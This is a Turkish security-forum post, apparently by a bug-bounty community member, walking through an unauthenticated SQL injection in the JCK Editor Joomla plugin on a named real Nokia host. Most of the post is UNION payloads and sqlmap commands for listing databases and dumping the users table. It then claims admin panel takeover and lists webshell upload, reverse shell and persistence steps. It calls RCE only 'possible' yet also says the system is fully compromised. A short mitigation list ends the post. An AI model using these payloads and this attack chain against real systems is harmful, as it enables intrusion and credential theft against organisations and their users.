Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Analiz Nokia SQL Injection Vakası: Güncel Olmayan Joomla Eklentisi ile Veritabanı Sızıntısı

Katılım
10 Ocak 2026
Mesajlar
2
Tepkime puanı
4
Puan
3
Tek Bir Güncel Olmayan Joomla Eklentisi ile Veritabanına Erişim
JCK Editor 6.4.4 – Unauthenticated SQL Injection (Derin Teknik Analiz)

Modern web uygulamalarında SQL Injection (SQLi) hâlâ en kritik ve en yıkıcı zafiyet sınıflarından biridir.
Özellikle CMS tabanlı sistemlerde, çekirdek yazılım güncel olsa bile üçüncü parti eklentilerin güncellenmemesi ciddi saldırı yüzeyleri oluşturur.

Bu teknik çalışmada, gdclive.nokia.com üzerinde kullanılan Joomla CMS + JCK Editor 6.4.4 eklentisinde bulunan
unauthenticated SQL Injection zafiyeti;

• Manuel exploitation (Exploit-DB 45423)
• sqlmap ile tam otomatik sömürü
• Veritabanı dump
• Admin panel ele geçirme
• Olası RCE zinciri

olacak şekilde uçtan uca teknik olarak incelenmiştir.

Bu bir “SQLi var” yazısı değil; keşiften tam sistem ele geçirmeye kadar tüm saldırı zincirinin anlatımıdır.



1. Recon – Teknoloji Yığını ve Saldırı Yüzeyi

Pasif analiz ve endpoint keşfi sonrasında hedef sistemle ilgili aşağıdaki bilgiler elde edilmiştir:

  • CMS: Joomla 3.1.x
  • Plugin: JCK Editor 6.4.4
  • Zafiyetli Dosya: /jtreelink/dialogs/links.php
  • Parametre: parent

Bu plugin sürümü, 2021 yılında keşfedilen ve Exploit-DB ID: 45423 olarak yayınlanan bir SQL Injection açığına sahiptir.
Zafiyet tamamen unauthenticated olup herhangi bir giriş gerektirmez.



2. Zafiyet Analizi – Kök Neden

Zafiyetin temel sebebi, `parent` parametresinin SQL sorgusuna doğrudan eklenmesidir:

PHP:
$query = "SELECT * FROM #__menu WHERE parent_id = " . $_GET['parent'];

Bu kullanımda:

  • Input validation yok
  • Escaping / sanitization yok
  • Prepared statement yok
  • Type enforcement yok

Sonuç olarak parametre SQL bağlamına enjekte edilebilir hâle gelmektedir.



3. Exploit-DB 45423 – PoC Mantığı

Exploit-DB’de paylaşılan temel PoC:

Kod:
/links.php?parent=1' UNION SELECT 1,2,3,4,5,6,7,8--

Payload mantığı:

  • `'` → sorguyu erken kapatır
  • `UNION SELECT` → yeni sonuç seti oluşturur
  • `1..8` → backend kolon sayısıyla eşleşir
  • `--` → sorgunun geri kalanını yorum satırına alır

Backend tarafında çalıştırılan olası SQL:

SQL:
SELECT * FROM jos_menu
WHERE parent_id = 1
UNION SELECT 1,2,3,4,5,6,7,8--

Bu, textbook seviyesinde bir UNION-based SQL Injection örneğidir.



4. Manuel Doğrulama (Proof of Vulnerability)

Tek tırnak testi:


Kod:
?parent=1'

Response davranışı değişti → SQLi ihtimali.

UNION testi:

Kod:
?parent=1' UNION SELECT 1,2,3,4,5,6,7,8--

Sunucu isteği işledi → Exploit-DB PoC %100 doğrulandı.



5. Manuel Exploitation – Veritabanı Kontrolü

5.1 MySQL sürümü


Kod:
UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--
nok1.jpg
• Backend DB motoru doğrulandı
• MySQL fonksiyonlarının çalıştığı teyit edildi

5.2 Veritabanlarını listeleme

Kod:
UNION SELECT NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL--
nok2.jpg

5.3 Kullanıcıları listeleme

Kod:
UNION SELECT NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL--

nok3.jpg

Bu aşamaya kadar tüm işlemler manuel olarak gerçekleştirilmiştir.



6. sqlmap ile Tam Otomatik Exploit

Bash:
sqlmap -u "https://TARGET/.../links.php?parent=1" -p parent --dbs
1768037537097.jpg
sqlmap çıktısı:

• UNION-based SQLi
• Kolon sayısı: 8
• Injection noktası stabil

Tablolar:

Bash:
sqlmap -D joomla --tables

nok4.jpg

Kullanıcı tablosu dump:

Bash:
sqlmap -D joomla -T users --dump



7. Admin Panel Ele Geçirme

Hash çözme sonrası:

Kod:
/administrator

paneline erişim sağlandı.

Admin yetkileriyle:

  • Yeni admin ekleme
  • Plugin yükleme
  • PHP webshell yükleme
  • Reverse shell başlatma
  • Persistency sağlama

Sistem fiilen ele geçirilmiş durumdadır.



8. RCE (Remote Code Execution) Zinciri

Joomla admin paneli üzerinden plugin yükleme, şu zinciri mümkün kılar:

SQL Injection → Admin Takeover → Plugin Upload → RCE

PHP webshell örnekleri:

• pentest.php
• r57.php
• b374k.php
• custom reverse shell



9. Etki & Risk Analizi

  • Tam veritabanı sızıntısı
  • Yetki yükseltme
  • Sunucu kontrolü
  • Kalıcı erişim (backdoor)
  • Tüm sistemin manipülasyonu

Bu senaryo kritik seviye tam kompromiz anlamına gelir.



10. Mitigasyon Önerileri

  1. JCK Editor güncellenmeli
  2. Prepared statements kullanılmalı
  3. Input validation uygulanmalı
  4. Least privilege DB kullanıcıları
  5. CMS + plugin güvenliği düzenli test edilmeli



Sonuç

Bu çalışma net biçimde şunu göstermektedir:

Tek bir güncellenmeyen Joomla eklentisi, tüm sistemi ele geçirmek için yeterlidir.

Exploit-DB 45423 ile başlayan bu zincir:

• Manuel exploitation
• sqlmap ile derin sömürü
• Database dump
• Admin takeover
• RCE potansiyeli

ile sonuçlanmıştır.

Bu tarz açıklar hâlâ birçok sistemde aktif durumdadır.

Sorular veya teknik tartışmalar için memnuniyetle devam edebiliriz.


NullSecurityX
 
Hocam elinize sağlık sağlam konu. Bununla ilgili bir CVE İD yok muydu ? veya siz CVE için başvuru yapmadınız mı ?
 
Geri
Üst